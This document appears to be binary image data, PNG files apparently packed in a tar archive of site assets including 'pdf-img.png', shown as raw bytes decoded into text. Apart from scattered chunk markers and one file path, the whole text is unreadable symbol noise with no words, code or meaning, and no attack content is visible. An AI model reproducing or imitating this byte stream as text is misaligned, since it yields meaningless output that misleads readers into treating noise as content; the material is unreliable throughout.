r@±ªíh‡,ÎÉ0]Jdt‰ÀŠë.î8¢tÖd|”O`Eº¾è×Y«ŠÈˆébu+92öÞp¼I`ʼn©QgŸ¼/OÅt±¡ÆwðYJ[»\o@qbaó䶫o¦´±5ûŠÿ\’˜&ÓÆî˜6VRdˆ €n{¿€’ÄÃóe;'=1±³?ûuíÉu\OLMº¾,c«Ü8 $Fwöß×ÿ½ªÈˆµm­…Ý#0€¢ÄèES³1B±w4 ‹—Dplî̾â÷Æõ]6xωÐmÌ¢¨nmF†¸è&S¤€b49z±{˜Ò»Ÿ¾OElÄß÷þg)mí´{×.Ž›Û¶µéRâ »PŒ˜†T÷§äñ|øù,–¡qðùì!¸­5 qŸî\§Òddˆ €n@1ê>µz_̦;åÁñz£&›ÆCx®Ÿc^MD†¸è>!¦ûÄæºTqÉ9ÅëÅT«&wœjó!¼ÎÈý 0€"\Õ¼CSÒ–;.*1eª®×~ª„‡ð:"C\ô‡ÀŠë/ê²½WïÃkœMÑĶ%=„çŒ qÐ/hÝݤ¾ƒõâ8¶—­Ë㢒#2Ä@ÿ  uq]]¶÷|x^.CŽ‹Ê*‘!.úI`­«+0â¡·®ÃèÄÅ÷–‰ qÐ_h]]Û¸Ö1z!.~l‘Èý&0€ÖÕµþbs;ÿkŠ‹—Íâ ÿЪ:×_llå}=qñ¶×"C\ ƒÀZuWÏwܜӣÄÅüž‹ q0hUœà]‡QƃïÄÅâG†¸–±÷àeâbyïVß6Á”É?öVÕ5E*q±:q0<þÑ´ª®)R«°ôÒ*»S5?ßôÀzk™Ñ‘¦â"eXˆSÌJ`˜,òz+F1Æ <Ä7¹\ž§töq¶[Sœ\găÖ>д* ®Ãö®ÎSÚÙŸï÷v1.Âíý»»›]õ3LCã!8‰,X•ÀZUç'í·×)ÝMRZ½þûº1=êêâùÿ-¢­ ·Ñøû‘øÕèu@¯]œ¤´÷î埰«q‘XÈ>¹}=ÝØÚy;¾`QhUÝÓwbšÔîáóŸÚw9.ÒÃ϶Œjt#ÖnÄèF5²Ñ«2P´ªîé:±6áìÓÿz×ãâµéQ‹ˆ‘‹Ó”Ž¿™M'€U (ØõEÙ']矜×-BâñV®]‹ô°{TN± •éRä 0 P1ý%>UþôûþGƨɚ©'q.Oó¾^¡À0 (PÄÅÉ·³ëŠÚŒŒ˜§_÷AnMl£÷ñÃoûñç#¦6å4d"0 0ã¢ÒVdħýÓùù_×M=Üæ~(ÎÔÿ=êˆ$#ä"0  ÏÅE¥éÈx<•(J×}y¸=ø,¥£íz¿GüÉ}0aLQs¹ (ÄkqQi*2ž[§PgdÄÃízÇÿiq±µ[ï÷ˆ÷ýü8ÿë½ '˜'.*uGÆk‹ ëŒŒ.ŸÁÐD\„˜®VÇ4¯ÍšG]-[$.*uEÆ<;,Õ]}Èm*.â~×1z#GØ ''yC‹–‰‹JG?ÉsXÝ"Û·V‘qøE¾¹ûñ»wÚ’·©¸ˆ<ù¦ž×^4.þä ¥¿ü“z®†â¿ùµ·š~ôÞÿö«2ÂËIJ§¦»ŒÖRz·™ÒÚ ¯qr›ÒÕ§8¯­¥t´‘Òx•ožá:*ÿÃÿ™Òokzª©¸HñW×XÛû‹ýþƒqJö¾žk ½çah8þ§†vBj2.bZÔÕE=¯m÷(ê` ÀšŒ‹˜BWǺ‹Êîa}¯ Àp €95ˮϙÇtq·Ý£¨)RshzZT#éaíEŽÍà)ð†&w‹:û4ÿn^ËŠÑ‹wÀ¼½÷§ÿ²ÝŸ°î©./oþx ÛE¶¢]E<À®²…mÝÌ^³©¸HF/h€Í@âAîàóÙ§Æm‰Èh:.ÒÃ'åñ³¯b館?1š£*UÜ­p(`øê¢Ùi`»Ö^P7S¤ f1Ehï]Ó}š²êŒJŒÅñÅiY?_DA5­)FYb»×øYKqyI›Ñ ê&0 1Ýç檑„¦åŠ‹J¬{¸¹nfñó2nŸ\Ûÿ}_æuní¤´¹SÀ…Ð{>Ë‚†Ä§Ç¥½ªÜq‘¦™í¿oéê‰x_b š 0 !ñ |ØòzŒ:Õ•jšˉ{·>róh†À€ÅC^?¯3.*±c{¯¾×齃ÕÔ ä4/æÁ×užBšˆ‹Ê¦™å»F™^@Ó´ £‰Ó¡ëÖd\¤‡ifqp`›g‹tEµM°]£hšõ@Kº¾£é¸¨”p¶H勦ßHÚ³öð€ÞEmÅE%¾o|‘ñ¼ƒÏ¬» =þõ -êâîHmÇEEdlÿ»ˆXÐݧsUè>‰Å¹±&£$ëã”F£nü)™ž“ñEy÷°ë?«Ý”F`@a¦ç4Õçö:¥O¿Oéþ®€‹™SÜÃød¿¯ë2âÏGL Úh Ý 0 @¥Â×ÅȈOöû¸.#FgÞýt6% J$0 @ñðXÚ§Ó]ŒŒ¸ñ0Þ‡5 £ñlJT×ÎM`xèâ4¥«‹ò®«‹‘‘vYúì»;¥(®?BÉ”(º@`@a®ÎS:ûXî»ÒÕȘî2õÅlúYŒtAE„QÆšZÐù×, ÃíMÙqQ©"#¶…íÚƒïæÎì+Bîü8¥ÉmõD„ED… ºH`@!î&)Ò]GFºéax|Eh\ž¥tsÕþ5ÅiÜqM€.P€˜ntüMwâ¢ÒõÈHB#F®ÎRº¾lvT#¦km林µcg(úA`@".âa½‹úéá$õñ»”öÒ÷±qs]ïûòöRzÿ³ú^Ú 0 e§ʘž³Š¾DF¥Šô0ºïODÇ$¾&ù¢cÛˆ=$0 EÕüÿ>è[dTâg©†?õ\þ'Ω`à´äú"¥“oûu÷û/yn1öîF!-±³:´ ¦ÛÄÔ¨>êê9@ÈNdÀp hA,">ü"¥õÿ?PdÀ0 h‰ÈúH`@‹DÐ7Z&2€>P€œ‘Qj¨ˆ …Èñ÷Æk|Væ»ÚfdÜMšÿž0D ²JdTq¯±µ+2‹Ó¿ýMJçÇÍ}O*…Y&2ÇEEd|¯ ‹øõÃoSº¹jæûÀ (Ð"‘ñ\\TDFJ§)Mn¿ÿïñŸ?}ÒÙGëA  5Od¼•!GF¼îÅ Ó¢"<>þÑ ÈM`@Á^‹Œyâ¢2ÔÈ8ýÒÝ+¯[fœ|c4rP¸ç"c‘¸¨ -2ba÷ÕÅœ¿÷b¶6ãzÎß¼L`@<ŽŒeâ¢2”ȸ½IéäÛÅþžé8þf6šaK[XÞؽƒn¨"#¥å⢑}oBDFŒ$,Pé!.Ž¿^þbc4#Öe즴³ßÖ€î2‚Ý«ÄE¥ä‘ŒIøø»åά˜.ÜþÝëë.潆Øe*Ög̀Š¨’##-xfEüžjëÙœâuЋ1E ¬äéRéÑ.O£qJ›Û)mîüðéP±˜;¦VÕ)ãú2¥ÃÏSZµq' ; \é‘‘B#¦?ÅW[înÛûÞÐ%Ófâ+ææǃoõëcñ‰{|Ò¿ŽÖMll•{§»mÛÞ7zóð†Ø65¦ÇÄ óž«Á_O×lí̦ùÄtŸµÂV@‰Œ—ÅÖÀv”€ù xAÄAÌï¿<Ëw‡®"%X#4âSñ»Bå"2ž·÷®¼ €R x"Â"õγ{ѲbÔ—øŠ©S»‡åL¡?ïKuO€· xk)b›Óy§AåRm±²±ml óüEÆ÷bô˜ŸÀ€‡Ú.ŽW? mÕ™ 1×?F4Úž’#2fïCISØ  ƒ£ñ]çt¨EEìÄ¢òý÷íO›rdÄ`vÀâ,[d°"*>þ®¬¸¨TÌÅ”­ûGURNü®Kž…Ý°8# RŒÄÃ{éâ:o®g»mNÕÚHFŒ\”|n ”Ìçs Îé‡nÄEåö:¥ã¯gçp´i(#ãM »`ƒÁˆ©F'ßä=×¢)±øüø›Ùö¹mê{dÄù$‡Ÿp!Ða¦HõÈä×ÿ"­}ùë¡ß†gÝOîÒñ—ÿ>M./ ¼ºùEݼ?Jûÿç­]CüCc÷çtö¿jíê²ûG¿H÷û»i²ÂëÿÇ÷éýðÇsýÞõåoÒäËþÝG€EÝø{Ö#kÿðýÙýÐoývŸNŽ?¦Éd•ÇƲŒF£tpø.­­­µv]×W—éìì´Ì´„½½ý´¹µÝ¹ë€Ò˜"E¯õ1.Bü<ñsÅÏ×–x‡ò>ØÙ݉À ×ÎÏN{‘‘ÇææVÚÞÞéôÏ%ôÖÙéIº¾.ð‹ŒJ‰Œƒƒ£V§k-+âboÿ s× %ôÒååEïã¢RBdŒ76ÒÁa·"C\@=½ss}.Î;¸í JˆŒÑhœŽÞ}6]€^ºí]q5ôÊdr›ÎÎNù¦–1‚qxô~::PªX3²³³[ìõ@× z#¬cÝE›Øm+!2BŒìï5e*®%ÖŠØ- ê%0è‹‹³ÞR"ccs3½KãñF«×âbúV¬ê%0è…Û››tÕñSºs*%2Ö×GÓÅß1-©ÑŒøžqÆE× @— :o:5j ë.^SJd¤‡­lca»Áµ³g\@³Æî7]S£îîî¼Ï¨"ãàð]ëŸàOGvvÓÖÖÖlá««Zâ'Â"¢Ât(h‡À ÓLz[I‘‘¦MíîÆNN{éæúj«®Y__Ÿ®ùˆ°ˆ×Ú#0è´óóSoàJ‹Œô0¢S§âëîn2Å›››éVÃoGü½qîFŒRlnnNÿ3PÿV¦³®¯.[Ù5*’ÛØÜJ£õõ´¶¶žn'·én2I··7EOÕ*12*1ê°¹5úÁ²÷w?žBeê”M`ÐYç^z·³»û£)8ió»ÿ<²uu™®¯¯Š¼­%GÆSÓQ ³ s£MÄüþ½½ƒ¹>9ß_Û“é¡%žËѥȺÇ6µ|'ˆo®¯;qCš½ˆQ‹Ã£÷ OˉOßãïkr[ÖE”´…-Ð/ƒ©ˆ‹˜ÖçIÄ‚Û’55z±µ½ööVú”?¶eƒÞJ$2€: ¾‹‹TZwZöÎLMŒ^ÄÉÓ±•êªâ~F•Jd¹ Œ{•Ø )Î&(Q£1rñx7£UœŸ¹ã1‘ä$0칸¨\œŸM· -ÍÕU½»3Åš‹#azZu¡»I=%2€\Æ@½•ø=%‰à‰Ñ•ºÄù»{yâ"¶«Hë‘ä 0hž¸Hœ%”}yQß´­XȽp˜eÛÖx@?==Îr]MÀªÆÀÌ•«ËËé§ñm‹Þ››ú¶ÐídŸ ·¬Ó“ãN? ‹ `c@‹Jl]ÛöÃæÍõUm×0o¤íí,¯;\Õ9«)"X–Àˆeã"Ä®M±R›ê\ܽ»—眊é¹lèÀ&ˆ `cV‰‹JüýmòÿÕ5*»FÅ©Û«šžrVÖ¢øD°(Ñs9â¢ÒÖT©ëÃfgw7ËëÄ}nâtñ6ˆ `£ÇrÆEªvG:i~w¤ºNÂŽÑ‹ »ãúê\€^‘ÌK`ôT4}ÊwLªë$ì­ §uÇõg>ï"çØ.77‘ÌC`ôP]qQ‰…ÌMò]×ô¨8To¼±±ò뜞f}à^__ŸžÇqpx$2€N=Sw\¤jAsC§|×uÇf†Ñ‹˜•{ñyuØ_,<@ Œi".*ñyÑÀ–¬u­mXuzT<\瞇ý=ÞÑJd]$0z¢É¸¨ÄT©:Où®k[ÜÍ•Úã~ç|¸Žu;;?ÞÑJd]#0zàüü´ñ¸¨Ô¹uíÍm™£U9GV"öö÷_üßEÐ%£6Æ›­ýužò=¹Í¿{T<¤ol®v¿r¨S£ÞÚ.Wd]!0z ˜·¶W_´¼¬ºNùŽꃃ£éÏ»+åÓ£VëNr¨»YmoïÌù{EP>Ñ»»ûÓ‡Õ¶Ô5U*¶’ŸíèÝgéèÝû´³»·R$l¬°5mü|W™ÏÙÛ?Xè÷‹  t£Gª-NÛÐÄÖµ1(>íŸóÝûÏÓþþáÃiÜóÿ1ÞØÜZúû_\œe}xŽk¼kÔ¼DP2Ñ#ñ¾··Ø'â9ÅÂç¦Nù®ÖRÄ@Œn½{ØæõåQœUNÈŽŽât‡°IDAT»¯./W¸âŠëØÝ{ya÷[DP*Ñ3m¯Ç¸œ®QÈ¿8û-ñÀÛ¼½ŸŽnìííOG?€¯rr÷ÅyÞ3?¶¶wVŽƒ*2J‘QçÆ@¹ŸŸAñbÍB<ÜÅC^ÓâSëÓ“ãéƒ~[âÁ=Nê®NëŽ{q}s•6—Ü=*‚)ç6Àq}ó.ì~Ë2S¬š·ên]@7Áè©6×c4uÊ÷¼ª…âË>Œ—8zQ²éèÑŠgÝ%0zªíõ1Uj2¹íü͙܇nm-¿Ð¼tâ=ST6WØ5iU1Uªë }s/Z-vß:Tom¬wy‰¸’Àè¿Ø©¨­ó1â@ºØڵˮ¯ò핦[Óæ]—p7Éwèß*ÄP=sýc+׶æüÇÖ®uœòÝ„¸îœ§v§ÏáxN #DâxL` @,nÞÝÝkí­ë”ïºå^{æ½Û–×¹ˆ à)1Óm[[ZÑÄ)ß¹Õ±¸;çÚ‹Ê䶽ÀÀsÆ€´¹£ÉS¾s¨ã¸Uú{I[;u‰ à%c@Ú^ÑÖ)ßËÈ=zQ‡ˆ‹UÖˆ,ûç@\¯ë1¶wv[ù¡gS¥N;qÃooó`ävµâWûû‡igwo¡ÐÀ[ÆmoïLÏchC<¸—tÊ÷sb”%÷îQ)ó´«é‘«ÕFYÖGëÓ? ‡GïÒxüöô-qÌC` TL•Š]ÚPú)ß“Ûz¦qåœ独º3Wµè<~=8À­®ÇˆOãK›*uŸ÷cËœl#'ǧ#?9ŒÆã7_¥­íŒ€n´º£ÄS¾s=Ä¿$ÖbD,Ì»èûæú:Êa9è±6×cÄ)ß×+žéÐ5  ¯ýÜÓõ'ǵŒòŒÆíœèôŸ1kqQ}rò)mmo§Å6kRÌ»OËÛ8dîüü,76¾Û:u¦£7g§ÓsAb­CŒ*ÄŸ›Û›ts}UÛHJ|!Ýg Y£&㢋šã~ww?ml¶³°ú-1UêÓÇo_Qò;µm4Õ>M걘2uÙàáƒóª°,S¤jð\\Tâa2¦¼ÄÔ—œ¯å2]±ßÎzŒ9¹¼\m×ÖÖúý‹)¨‹ÀÈ쵸x,ÖÄü¨ŸŠÐíÝV¾÷ÅùYë§|÷}÷¤ ÔH`d4o\TbZPå;¦µTËÚÛÛïõ‰ä@¹Æb:P—úÆ"ð““O-ok=F§|GPmnn5ú=—×hÝÐ1‡..ômjxXÓ‡"¤ÎϚߺ6Öc”qmqmsêâC[S‹ÀãÓò6ºcmLg‚”â(À˜S,ôíê™M,ßÝkg=FS¥ÒCdì´ð;Ö\ˆ  c1Uj}½»·¬ÎEà±£í\#.b½IâÏÃÁÁQ«›Ä÷Žk°æ(…ÀXÀô!º¥ór©sx[Û¹¶qÊw%vj:z÷YÚØØlü{Ç÷Œïm·( $cAñ0×ÆÃdnu-ok;×iú”ïJu ]Œ$ÄÉÙu‹Q´8㢭¼^3vwSâá¼¹ÿ¯:úiZÛ\ìáþ2F¶wÓþO~žÖ3=ïÇx_ý?ir}™åõæu¾¹Ž~þýžm>|Ý\ž§‹_§Û˼®6ÒÎû/ÒÖþQÖ×ey÷'éþ«¿uౄøÔ8|ÇM%ýÿcJÿÙ¹ðÝ¥”bÃîáì+‡÷“”>þ.¦d5wƒ"÷®3þ ËŠÿSíÄ}¤tq’RtÖ²ƒ+±ägs'¥èÆø•²Üù7éæ¯þÜ»Œ%ÅßØ"5æÿ÷ÅùqJWç)í¿OicÅ]X×G³×9þ¦Ù›?C\ûª×ŸC܃½w)í=ÄÆÍUJ·×)Å™øïÏEÇx3Ö²¤4Ú(ççX„ÀXÁîÞÞtû×>‰‡ÞO_§´½—ÒÞQJk+¬Ò‰OÜwöSºhø<¼Ó)½ûéjמ[ÄÆÖîì  Ï,ò^A—ÏÆxËåYJ~;ÑXE|‚ßô§ðIçíì\ 0xcE]?ã5±~âäÛÙˆFLéYÖáç³µMŠQ“ëvv®4±¢>œñ–X; ¶—êS•>oð‚ÄT©û™ 0²èËÙ¯‰ÑŒ³ËfÄ4©˜.Õ¤¸æˆ š#02‰³1†pèÙ*£±à{«á­V¯.š_d0d#“êlŒ!Xe4#¶®5¼wÙÅñjkH˜ŸÀÈ(|3†ýœÒFH–ͨÖc4¹è;‚¨éó8†J`dgcÔ%FH67Ë:ym™ÑŒh°¦×cÄw¶®¨ŸÀȬγ1./ÎÓÎînÚÛÛïühF8·]_‹=+£G¯I`Ô ®³1îïïÓéÉqÚÜÚN‡Gi4ðÓ~¯Í8ùf¾íac=ƸáÍ·æ½6–#0jPçÙ“É$]\œOGJߥ­íí–Ú‹›âðyºkú>§|Ô«óq{S朗:Ïƈ©RñsGÈìîî§ýýÃâ¦LU «ß1XÍF2šÓ¸bJùu:0ÎNOÒÉɧé¯1}¨4užqvöýϼ±¹™Þ¥½úv°ZV5šñÚýæNJ»‡Í^—©Rõèl`DT\_ÏžZãדãió_ 2a¨g%óÝÝÝôTÖ×GéðG?¨Ï#F3b—©XŸñÒC}\wœöýÿ·w/Ëm]Ù€w€¸ÐR¹/ežªLú9’'Ë äÒЃ¥*•ôEï)Ñ©êT`‰”bmààû&v¹d =8?ÖÚûßæ{Òò ¯“c5\4âlÂåÅy¹û°Øå[ûJÈ®Õq÷ÕçõùÛ/³{‰XMzÿ×ç§Û>Ó•7Û{=€Cй€ñT¸hÄÊÐõõUëV¦N'“j?ûææº<|Q@“€³ß–r2ªö²¯C¦˜f%PŸýn»ç^*Úµ£œïËiÆh²ÝéK¬l¹º G'ƺá¢ßîßÞ\/¿áoÃÊT­nŒÒ\]»xzbWÁƹŒ˜ ´uškS««JÛ.áÓò £õãµábU†¾8ÿyç+SÑ1Ô%\þ×Å7¯^É@L3¶Ýžý1EˆiF/ŸW¼"dl3Å­R®®ØL«FF¸hĵ®çïw¾25>TëÆx¸(×çßþ31͈àm½Î6]7ÓŒmŸÇˆ•-«R›imÀÈ «v½2U³#,®K¹{A†Š€ÑöiF|Ž“q)Ãz¿®¯hùØL+F­pÑØõÊTÍnŒ²ÆªO¼…˜f´ñlFL3.þñظ}:ßnÒò ðz­ µÃEc×+S5»1Öm©nÎf´ñ¦©(ÃûùJéo1`hùx½VŒm…‹U±2×Ùn{eªf7Fùü`Þ˜~ÑûiñMSñÀ¿ÎgÉ¿¿—¬šðk­y”ÜE¸h|üx_Îß¿+ï·{OiÍnŒp{±~Ku3Íhc ø¶ÅCË7ÀzZ0v.1Á¸¼<¶°®–šÝ¯m©ŽiF›[À·EË7Àúvþø؆p±* 붹2U»#nDzízQ´€ÿðûíÞâÔ6›üþÑNFÛÂEcÛ+S5»1Ê+W¥Má]œÏèWxsÝZ¾^fg£­á¢±Í•©ÚÝ«>qÃT\i;ªwùU«=춠3v0Ú.V5+S•OûÖîÆÈXõ‰iFÜ2ÕÖ‚¾Z¦o×Åø¾­Œ˜t%\4be*:3îïNtcÔ^•Ê(k ú¢ |ßE¸8©w›0ÀÞÙzÀˆ«YO†ÃÎýceêêê¢ÜÜÔ;ñÝ'Ãz_•gÈEÀhkA_á`};Y‘'e:W퀨åÃbQ.ή¶2¬×ëÕ{ÿÉr1ÍhkAß&„ €×ÙÙ#a\Ï:›ÿÐÉiƧOŸª®LE«)¦«R«š‚¾}˜f¯·ÓïœoOš”ÉdVõìA 5W¦"|Õ ^Ù«R(è‹iF— ú„ €Í´â1°?”ùÙ›Òïwïj¢Z+S£ÑiÕЕ½*µª)è;éØÍKÂÀæZó=sá GëYbš1›ŸU턨!V¦®¯¯–ñ÷âwQsªSkUjU ú„ €<­Ü”ëZ§³yë® Õ—ï˧O9Õϧ“igW¥MA_§Â@®VÅGËiFÍk[kˆ•©hÿÎX™êúªÔª˜fÄÙŒ¶ô ùZ×OL3â:Ûá¨[O‚™+S±*5Ô»ÿ5V¥n.ªýø¯4}Ç;<Ó/\ÔÑ™ËD£€®‹ÓŒ¬•©ñé¤j1áíU)÷ªýø¯Ä›8›±‹‚>á žNµôzÇœf4+S‹Åë;ìÓªÔªmô uu²-¦Óé¼ê7úÙbMêöæº\]^¼zeªv_ Y¶¹*Õh úâá¿æRá ¾Žö-?>lÇ4£æw ÷÷wËb¾×®LEß>­J­Š‡ÿZ}ÂÀvt6`”ÏkCãñd9ÍèÒu¶¯.æÛ×U©FSÐ7{›7Í.¶§Ó£ÓŒùÙ›ª¥t54·L­k_W¥V FÓŒM ú„ €íÚ‹€Q>³?™ÎÊd2ëÔ4#n™Š•©‡‡Oký{1¹©y£Ö.W¥›ô Û·7£1Í8Ž{P;"n™Š•©÷÷k½áhù®i—«R«â†©¸Òv‚>á`7ö.`”ÏÓŒél^FãÓÎL3âf©ËËór{{óâ'®í­yeoV¥1ÍxiAŸp°;{0ÃáhYÎ×¥iÆâöf­«lãÊÞÚ«R׬TÕôEØxê¸p°[{0ÂÑQo9ÍèR9ߺWÙƪTÍIM¬JµM3ÍX-è.voïF#¾éiFÍoû3ÅU¶Ñþý’«lk¯J}¼kϪԪ¦ /‚ íp0£|~r¾®L3bMª¹Êö{+S±Ö?­· £M«R«â*[á *`4bšå|5±3ÅU¶—ï¿{•íä§IZ9ÝSÚ¸*@»dÀ(ŸËêbšQ³°.Ss•íýÝݳ?õ¨ß[® ÕÒÖU)Úã`Fù|mÖÅ4£ ×ÙÆšÔÕÕE¹¹¹zöÏĪÐɨÞ{hóª»wУӌ(çë÷¿S°Ð‹å-SÏ˘üðô®Y¬Jð㳘`L¦³2™Ì:1͈•©ó÷ïžlÿŽRºµX•à9ÆúƒÁršÑ…r¾oµFõW¥¾sæ€$`ž'`TÐL3FãÓVO3jZíáàphò®(ÊùƒA¹¾º*?Þïíç|J¬JEȘ¾ýþŸý÷?—2õâÞûïÅ¡ÿà0x¬«ìè¨W¦³yY,nËíÍõ^Ö/Å¡ò“ÛR£oÿ¹?_îàÍP…©-‰iF”óõz½ƒø¼ «R‡EÀØ¢¦œo8ÌgnV¥8 ÆŒFãå4£íå|YbUJ7Àa0v¤™fœ ‡{ÿY§oJ9:¬Í0€ƒ%`ìP\a;OÊt:ßÛiF„‹“ÃÙ8xF ÷ûËiƾ•ó ‡GÀh‰¦œo2™íE9Ÿpp˜Œ–ée~ö¦ÓÓ áàp -ÔL3NO'›f‡MÀh±ÁÉpyíñq¿ïW¸@Àh¹££^™Îæe4>mõ4C¸ Ý1Ž–A£×k_¡„p@CÀ覜o8jÏÓ¼pÀ*£ƒF£ñòlÆ®§Â_0:*¦ÓÙY9wò„ ž"`tXú'e:—££íý§.xŽ€±ŽûýåÙŒ“³“êF¸à[Œ=±,çûiZfoãjÛ:ŸI¸à{Œ=3•òÃïK9å~.ဗ0öÐoŽJ™¾} Ó á€—0öX„‚³ß•Òßàh†pÀ:Œ=wÔ+eþc)§gëO3„ Ö%`ˆÑ¤”Ù¥^öy… ^CÀ8 ÇýRÎ~[ÊxöíÏ,\ðZÆŠ€g3žšflBÀ8PÍ4#V§Â›:ö15ûóîjæê³8|ƒ%œ<œyóÄÖìÏûOƒ5x"d@F`d@F`d|É›%\ìfζ¶`î~‹`ƒ%ìnf¶×¶¸ožHd@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@f㔬àx3óìØÔìÏÅnfwcŸÀ` wqñöÔÖìÏÙvf{mŸ'R@F`d@F`d@Æ—¼YÂÕ—™ó¶`î~‹`ƒ%\}ž9¿´5À}óD È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2Èlœ’œ>žy{jjöçl;³½6‡Ï0€ŒÀ2È #0€ŒÀ2È #0€Œ/y³„ÝÍÌ{_O`î~‹`ƒ%\ìf~ÚÚà¾y"d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d6NÉ Nͼ>15Ðyÿif{í ÿ'0XÂÉÙ7Ol tÎG`|'R@F`d@F`d@Æ—¼YÂÅnælkk sõÅ1¾F`°„ÝÍÌöÚÖ÷Í) #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2È #0€ŒÀ2GÏ_¼ºuN à?@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`d@F`™ùÃÄzÍ-Æ¡ˆIEND®B`‚assets/images/pdf-img.png000064400000023621147600022140011344 0ustar00‰PNG  IHDRá©ݸZ{ pHYs  šœsRGB®ÎégAMA± üa'&IDATxí xוçϽUÕ­l°$ÞHNð0°#á8 gˆ3Aq¾?p…VIÑ =†³]-B´xe#«Âº1I oèîTvG×T²ÿíÀ8e”¯†r2&luš%vÑ® N¿†5t•[NòIŒëÓ„êÊ€ƒd˜¡”Ò †¸B„èvj女7ʤÙ¾‘",4ûß壔}:º ‘ SŠ"BŒvòqÁZÓ€KË'‰@ugs¬^¡à"Dë§ùõ:àjHlc(×uR%nÖpåHyê1„ò6 P~\á@ü< Šð÷ïõÕjÔÀÀ‹L7XÄ#õŒÝ\±UYy’ˆ)CXü ÇA»d“¦ð7‹’‚–szbéV>zÛ2r©Ñ±ý\'5^aÞ,¡€ñóäøoppÌÒéÆ u¦ÒȆâË–˜hÕèk õè–†Ê0#OˆqçUaÛ}.A >~>“—>Ù;_ü[k@çó£ÏŠ?Æ ñ¤Dò"¸e½ç „9© ôaa¶ª4@£Én¦SÄ,ªOXÄpTŒ©ÖQÜ],ÞË\Ea«Eð¦ é¸ôû—p¼'¬^L|iÃ:ð(Ž‹P ÐB€ "Õ°\Ux¹¦åG|©àßðEÅ2ÒZÆʾý¾+>]è±bð¤a|¼lUÄåاö²D¡9Ä tA%Äèá".))øRÁ¿éW#–±WïgËD:de/'•¥*ÛE‚\ìÝ&-ŸK [„{ÏÃ¥Þ‡+&$Ä­\…_‰¸©©˜B4HU#¥I;ÂÁmÍ÷¡õûà ߀מú¨½ñ P~åäËÇqo[Aľõ~p†ààˆôC­JÅб˞³``]ÔT댮i(L®†”´o}°tH\üsrŽÌq`(’Û•à-ÀCDÐ"ö#r˜Ñ«+ó ¯²uÿúÃÏú5mUâ^Ì& Ð|;Þ ÆÈÚ6ÿ…O#Aã(0AÎü„º¦Þ1„*O 74óÌÄ\¢qù¾8Y~[ž™ÇŽ2‹Ô§]{C-b8Ð{]S³DÍà»…ê¦ÆvÈ š]ü jDF^4cþª bAjÞ×Jýj öáír¿ ÷uêg=ÁKz/\y¾®Žä<ý*«1!º¡Å ç t‰Wˆ 54ªkp6G(LÎ>ùø7gþùðÁšþNôâJÊ´ò²yO„{NþEí{þÞ©‰Ç£Äs0¾C¨ôŠ‘* ÷š‚Š (D#¿±40¢Q"ØxCè„+ D^ŽÅƾÈ/l4æ‹FÓ̦c>ÕÎÓ帕ç¡õÓ"‰óøU¢¬O –°ØWX!µ’FSØ=±R6Œtθ¡îÌ‚EŸëÂœ_¶Vo(¡ú”·¦W’ÎLÇYbNÆ-Ì JjUB7¥ 0,h‹Ô–]§çâïݯüªBâ})À¸h­•ã,¹£þq0†ñlí—’`03H­ à° y¤¢Ý-§ñh›‰=ÌæS .ikóê'ŽÿìN_L€’ËpÃZI§%FWJ‚b‘šœ÷+`ÉÅÜŸ† ó J²džFôó»ùSœÊ I–¼Y9.£;Š¯¦%„ º<5a.ƒ0¹‘Øz‘ Á(°“`©•ã2ŠP\ç<9y­~³ 9Ì%¹éðɅ梀¥âîAEè倌ª(w'ÞUÁHr÷ñÙ÷òê!„ymÚZ¡¾Ð+Ç *ÂÒj˜ħÒ%©n¨!è9 Nf€‡ù«i#-­‰1 ½l)! ïÇ*b$Î?i8伊ÒPÅJGñFoh•~c1#¢Ù‚cAi DzÎಠøèa.²KÄ–KZŒîáé0Bª%WI+B,ÔfÜðäúáŠB¦îcÒ æ’ŸµË #rU)9»ˆ|†äpÚg+$à†5}>ÈX)£ŸÑ -v^0[”ÈU4©ºŸqÍ΀à%S(Ôš…®ò 4uÍ%_öõWY+ÞFú ye¨Ö«yAáƒ÷›^#­`þ œË*™4( ë´:D’,¡Ùžm#GiÿhšË[}z’Ø›Rh³ó¼>àõ„óœü\DMƒ„Å]5•Ò·ŒÎ4Ë®(’$BLIØZ*ÕeˆüU¿ ˆ¡óD?ÓEá‡SÝ?œ6H­Pj%RŽ½v8C'.qìÃ"\X1–ìò+ÜÒô3¤ß¬‚e‹‰Uà*fŒ‡ÓvŽ‹ÐK) œ*óǦ7*ï^úmÛ6ÿsýˆ£–|öoïá¾ÑWTáWÃùåÕj¥…EÍ ¶òÖÛî”÷™¢# Åç^ÏRKÙbóyäY±ºSƒ‘€ 'ÀwùTî*K– WTµeËâ"t³DÑm}ê_êÿzñ-X­·ïýâJðktù—V­Nž Ëä80ŸÄ]QÂ[pÕ&ñ™7ò,jHÍç0˜)T<³/dZµ]%>ö¯‹Ñ®+ŠÄmºÛ8áµ7_µggãí Sjæ<5Jjý ¹äìø¢€%ÉéÊÿHt‰nÉ‹Êð¨7¸ša»T„«ÊâiÆI½¥ñgQLJ³ƫ/ƒMLKØÚÆ«…+Zt¢Å;°÷·Uw-{àxש#îøû0Ãб¹j>•._pcìxí #«a Gì³6çÒË‹ÈXYk16LÐÙå6’ý¢ uRB·ÇÛ*’ø ŠcŠm+ˆ˜ÿ™ZW;Ò*\Î 